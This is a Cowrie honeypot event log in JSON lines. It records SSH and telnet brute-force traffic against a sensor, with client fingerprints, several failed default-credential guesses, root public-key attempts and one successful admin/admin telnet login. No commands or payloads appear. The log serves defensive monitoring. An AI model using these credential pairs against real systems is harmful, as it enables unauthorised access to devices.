{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:17.501833Z","src_ip":"168.144.45.211","session":"f989729b6aad","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:17.552937Z","src_ip":"168.144.45.211","session":"f989729b6aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.37945866584778,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:34.312490Z","src_ip":"212.55.149.117","session":"942f79347fb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":36452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e765e62d7fd1","protocol":"ssh","message":"New connection: 87.106.29.151:36452 (10.17.0.5:22) [session: e765e62d7fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:48.224943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:48.228114Z","src_ip":"87.106.29.151","session":"e765e62d7fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:48.321819Z","src_ip":"87.106.29.151","session":"e765e62d7fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser@123","message":"login attempt [hduser/hduser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:48.730169Z","src_ip":"87.106.29.151","session":"e765e62d7fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":48182,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd64605db32d","protocol":"ssh","message":"New connection: 138.124.158.150:48182 (10.17.0.5:22) [session: cd64605db32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:48.788717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:48.795180Z","src_ip":"138.124.158.150","session":"cd64605db32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:49.827286Z","src_ip":"87.106.29.151","session":"e765e62d7fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:49.870433Z","src_ip":"138.124.158.150","session":"cd64605db32d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssword","message":"login attempt [ubuntu/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:50.622434Z","src_ip":"138.124.158.150","session":"cd64605db32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:51.805068Z","src_ip":"138.124.158.150","session":"cd64605db32d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":47651,"dst_ip":"10.17.0.5","dst_port":23,"session":"941510f16edc","protocol":"telnet","message":"New connection: 212.55.149.117:47651 (10.17.0.5:23) [session: 941510f16edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:08.350595Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17570,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba0b7aea1cd1","protocol":"telnet","message":"New connection: 212.55.149.117:17570 (10.17.0.5:23) [session: ba0b7aea1cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:10.608825Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":33436,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cc8002435d6","protocol":"ssh","message":"New connection: 20.82.144.240:33436 (159.203.135.109:22) [session: 9cc8002435d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:11.430526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:11.435019Z","src_ip":"20.82.144.240","session":"9cc8002435d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:11.501795Z","src_ip":"20.82.144.240","session":"9cc8002435d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"swadmin","password":"swadmin","message":"login attempt [swadmin/swadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:11.802225Z","src_ip":"20.82.144.240","session":"9cc8002435d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:12.871520Z","src_ip":"20.82.144.240","session":"9cc8002435d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.149.114","src_port":48156,"dst_ip":"10.17.0.5","dst_port":22,"session":"4985fc1c9b35","protocol":"ssh","message":"New connection: 142.171.149.114:48156 (10.17.0.5:22) [session: 4985fc1c9b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.164180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.238421Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.307605Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:83:87:35:7a:62:e8:5d:74:a1:3e:32:36:fe:a1:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaRSP0x7GjaiqWgPHJPWpEGREtB0oN7AUgGtuVFitwwRUyuTFR0gTiWn529hIxbKPb48lWioRscorJz9sqmGOJhgeqp6b2WOWNhpvwRVM850CnnWU1t6+79+ES5d742Udxh/7uAkDTQVzgJSjTvlcqqDASlzUy1He8UpU8MmhyrPulRAO2hszfemtHTHybyQeVzOQMgZEjscjJsDpFxD7nR9zuNKZgWt1oS7iFaqaXIcd8IufJBNtjuuahEL8aDg8BDb7lD2pwU/kB2jga+9/eU/1WvXUzElNtnoFGocZCu0v6eda7fMASNpi5m4FQ2jU2A1m11ik6ZpZuCy7qfKSTwktdJbuPQUQAg0E7R5GteYUscqtfUCpUhoNQp7UkkBbyq5Vl/hLfUylXZg5cWlEvbkjbPlO97s+8ekO4gOsl9a14DZrllNfU5kvHTb1Du+Tu7jLgfqOZjjMWGHaOvfqy7U4dUr39G1dvNh9ndax/DgEFgAFz+XAnZSM/JCid1UDTOhqbqgq5s4ewKgnAXjI6hUxhOYOEHx4vbzt+GlMVCpnttV53XOeOA9LGvTQ2ml68DIqw2+5o52e2wgZjpf/gnDrcj4FpGLEfSfmEgGJthT9c5/YhCn9Va9hDSJFH45ipypwNIZFvHkGDIiCSD53hkGx2o9D5AORIe4BI0AQ2tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:83:87:35:7a:62:e8:5d:74:a1:3e:32:36:fe:a1:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.626942Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:83:87:35:7a:62:e8:5d:74:a1:3e:32:36:fe:a1:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaRSP0x7GjaiqWgPHJPWpEGREtB0oN7AUgGtuVFitwwRUyuTFR0gTiWn529hIxbKPb48lWioRscorJz9sqmGOJhgeqp6b2WOWNhpvwRVM850CnnWU1t6+79+ES5d742Udxh/7uAkDTQVzgJSjTvlcqqDASlzUy1He8UpU8MmhyrPulRAO2hszfemtHTHybyQeVzOQMgZEjscjJsDpFxD7nR9zuNKZgWt1oS7iFaqaXIcd8IufJBNtjuuahEL8aDg8BDb7lD2pwU/kB2jga+9/eU/1WvXUzElNtnoFGocZCu0v6eda7fMASNpi5m4FQ2jU2A1m11ik6ZpZuCy7qfKSTwktdJbuPQUQAg0E7R5GteYUscqtfUCpUhoNQp7UkkBbyq5Vl/hLfUylXZg5cWlEvbkjbPlO97s+8ekO4gOsl9a14DZrllNfU5kvHTb1Du+Tu7jLgfqOZjjMWGHaOvfqy7U4dUr39G1dvNh9ndax/DgEFgAFz+XAnZSM/JCid1UDTOhqbqgq5s4ewKgnAXjI6hUxhOYOEHx4vbzt+GlMVCpnttV53XOeOA9LGvTQ2ml68DIqw2+5o52e2wgZjpf/gnDrcj4FpGLEfSfmEgGJthT9c5/YhCn9Va9hDSJFH45ipypwNIZFvHkGDIiCSD53hkGx2o9D5AORIe4BI0AQ2tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.630591Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:2a:b5:35:5f:84:86:e4:1c:d6:67:4d:1e:05:9a:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsrZwgTcDhYyC4kevojvtXrePr5eSgQXlN9dwdV6qP9EWnEo6KD69XzkARGEb3XCwsmDTyKGUJv+KxLH2w3qkHUr7YBanQ6VpviK6EvT4B6W17ZteY2trEKNQ6KTCHy/WthXmAC9X6IX2G0Vhly54bQlVAW8JuGebmcTbD1Xa3I5e0ptFgpQG1RtJNkb7ojS8F1QFQD5Qu0028nPoQRPhNbJxP2bVkbR8cteO+u8TesyMs4nnIUInvBPY/Jhbh9Fz6/bWer+2Qrf9V6evmUHIRoGnmj0D4g8Mt4dHjtDq7HZTqfrwREyFmlc08nA7VO5C87MS0Cn2oIpCzxCrZGp2X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:2a:b5:35:5f:84:86:e4:1c:d6:67:4d:1e:05:9a:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.699680Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:2a:b5:35:5f:84:86:e4:1c:d6:67:4d:1e:05:9a:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsrZwgTcDhYyC4kevojvtXrePr5eSgQXlN9dwdV6qP9EWnEo6KD69XzkARGEb3XCwsmDTyKGUJv+KxLH2w3qkHUr7YBanQ6VpviK6EvT4B6W17ZteY2trEKNQ6KTCHy/WthXmAC9X6IX2G0Vhly54bQlVAW8JuGebmcTbD1Xa3I5e0ptFgpQG1RtJNkb7ojS8F1QFQD5Qu0028nPoQRPhNbJxP2bVkbR8cteO+u8TesyMs4nnIUInvBPY/Jhbh9Fz6/bWer+2Qrf9V6evmUHIRoGnmj0D4g8Mt4dHjtDq7HZTqfrwREyFmlc08nA7VO5C87MS0Cn2oIpCzxCrZGp2X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.703709Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:a6:81:f1:86:4d:4c:da:8c:d6:6b:9d:cc:63:d2:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcvbhnAH8+2zAYKG64vj48UnZoVXAgnJldfhW5Re52QhUAYoeQ944RoqbLQN+P+Y3RzqFIpSkOaus59BwNA1o0grKQS6jKtxdZCwIZUeH79FK4Tqxt9vpndpYpMdmpcbfJ20CRscmlZmvca5a9i0DKV8CGKAdKO+SFFZsEK9grsrweti1DZfl2GpPcaMmGyM2VW3hWBIsF27lgmm7MQvHvONAbntZ1/WDfAaP1ooHgtrssN+pNTmeJhgaMwsD+FxfEbM1D385bZxa6yTE4KDUVnSITQW2pZ8d7Tsa25bR5Y6vB9fka33AcyryvOkW87h4cLP55Frur54o1cyNWFxGKsckZM0+lGT5wKGU2jcBUSEFMJ3anDAlQjiC7hGOskyRCgHoqrOZm9N/qbb+rEQww1ZPEItfonUjfyq4Zurbe3o+UITsI5xO76OJEx52Jf/3s0nE+Bi0KyBu7kgBlAk0Bpm4lWaLE2m1Qv4dKIMQ5q1bChmnxku8Bjm+qJtTbigAAHPSKtEdSsJnBr6sddcLc1DdXdpQATu4bSdn5MYOgf3bQ1P2RaSgJpZJlrvZusn25RgGapVwxy826t/aEYH6iQ9xOS+QCpD9NC3ACBl22Blxr5LrD2uNoM3IcuoTnAMPF1+wi/CZCmSnV6Z/Niz6xhSmURWKmcdCN+kTFYGDQww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:a6:81:f1:86:4d:4c:da:8c:d6:6b:9d:cc:63:d2:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.773924Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:a6:81:f1:86:4d:4c:da:8c:d6:6b:9d:cc:63:d2:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcvbhnAH8+2zAYKG64vj48UnZoVXAgnJldfhW5Re52QhUAYoeQ944RoqbLQN+P+Y3RzqFIpSkOaus59BwNA1o0grKQS6jKtxdZCwIZUeH79FK4Tqxt9vpndpYpMdmpcbfJ20CRscmlZmvca5a9i0DKV8CGKAdKO+SFFZsEK9grsrweti1DZfl2GpPcaMmGyM2VW3hWBIsF27lgmm7MQvHvONAbntZ1/WDfAaP1ooHgtrssN+pNTmeJhgaMwsD+FxfEbM1D385bZxa6yTE4KDUVnSITQW2pZ8d7Tsa25bR5Y6vB9fka33AcyryvOkW87h4cLP55Frur54o1cyNWFxGKsckZM0+lGT5wKGU2jcBUSEFMJ3anDAlQjiC7hGOskyRCgHoqrOZm9N/qbb+rEQww1ZPEItfonUjfyq4Zurbe3o+UITsI5xO76OJEx52Jf/3s0nE+Bi0KyBu7kgBlAk0Bpm4lWaLE2m1Qv4dKIMQ5q1bChmnxku8Bjm+qJtTbigAAHPSKtEdSsJnBr6sddcLc1DdXdpQATu4bSdn5MYOgf3bQ1P2RaSgJpZJlrvZusn25RgGapVwxy826t/aEYH6iQ9xOS+QCpD9NC3ACBl22Blxr5LrD2uNoM3IcuoTnAMPF1+wi/CZCmSnV6Z/Niz6xhSmURWKmcdCN+kTFYGDQww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.778209Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:01:9c:e9:3c:1f:02:76:3f:88:1e:a9:46:fa:e3:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHnGJp6+Pssi/rmob5qyxQT6M8+IlfIpI715NDwVosJbeKyx5lHGVkAJUEBKZhF8N+27FS9s+e7Svd8h5e7DBjgU/Bq6hT40AUohLaj1JZmOaydjsry/3z5Y7tgasOQDvp69ho6ahoqAG1XeyK9sUiryaPPzSgoioPUaY7I0BVxNcTq/ZzcToA5q/Ai8BpooGhiZMXk5S0Y3D588+UNLKAdvcAZYq4/SYvTvnuX0PMemf+2bF0jbbi5BBiI4+lFxsV6bwQBLifK9C0DNOV9gBRtYh/0Oddw4PipSOnChiX+rzXlmBMKzD3UgYW67/pNMkak7g7TyPDxxPeZhHdNHJLAtPuPI5ZPtKlulfmL9FQl/o6m2ELs78QAZCquuYaQeG9L7FoAuas9zFOtUxaz66SzfgSG+hPia5Zfc0CVhRmJ4luBawYVOFl30gCKYARLlTaMq2dbJQt3UPrYgHQsRadpB44mKx/Ye0bW2KZQBYlymg3bpz/ZyZfje7E239YZmmumulZe0MAyJmvD4YF3UcEEDdrXddbwjg8cBoYtqEsFcxTgb2vsD6Ul4kFo6wWK9kyxMq3IZYhUTDt4d3DINksjFWXlXdbmcGjXRGb3wdPlnHsFfpoHsL9SnByfY6VCf+uZIbZF5nIwxgVnjKAWRsQjiG3k8M3/XF55wGFzehnKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:01:9c:e9:3c:1f:02:76:3f:88:1e:a9:46:fa:e3:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.849833Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:01:9c:e9:3c:1f:02:76:3f:88:1e:a9:46:fa:e3:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHnGJp6+Pssi/rmob5qyxQT6M8+IlfIpI715NDwVosJbeKyx5lHGVkAJUEBKZhF8N+27FS9s+e7Svd8h5e7DBjgU/Bq6hT40AUohLaj1JZmOaydjsry/3z5Y7tgasOQDvp69ho6ahoqAG1XeyK9sUiryaPPzSgoioPUaY7I0BVxNcTq/ZzcToA5q/Ai8BpooGhiZMXk5S0Y3D588+UNLKAdvcAZYq4/SYvTvnuX0PMemf+2bF0jbbi5BBiI4+lFxsV6bwQBLifK9C0DNOV9gBRtYh/0Oddw4PipSOnChiX+rzXlmBMKzD3UgYW67/pNMkak7g7TyPDxxPeZhHdNHJLAtPuPI5ZPtKlulfmL9FQl/o6m2ELs78QAZCquuYaQeG9L7FoAuas9zFOtUxaz66SzfgSG+hPia5Zfc0CVhRmJ4luBawYVOFl30gCKYARLlTaMq2dbJQt3UPrYgHQsRadpB44mKx/Ye0bW2KZQBYlymg3bpz/ZyZfje7E239YZmmumulZe0MAyJmvD4YF3UcEEDdrXddbwjg8cBoYtqEsFcxTgb2vsD6Ul4kFo6wWK9kyxMq3IZYhUTDt4d3DINksjFWXlXdbmcGjXRGb3wdPlnHsFfpoHsL9SnByfY6VCf+uZIbZF5nIwxgVnjKAWRsQjiG3k8M3/XF55wGFzehnKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.853733Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
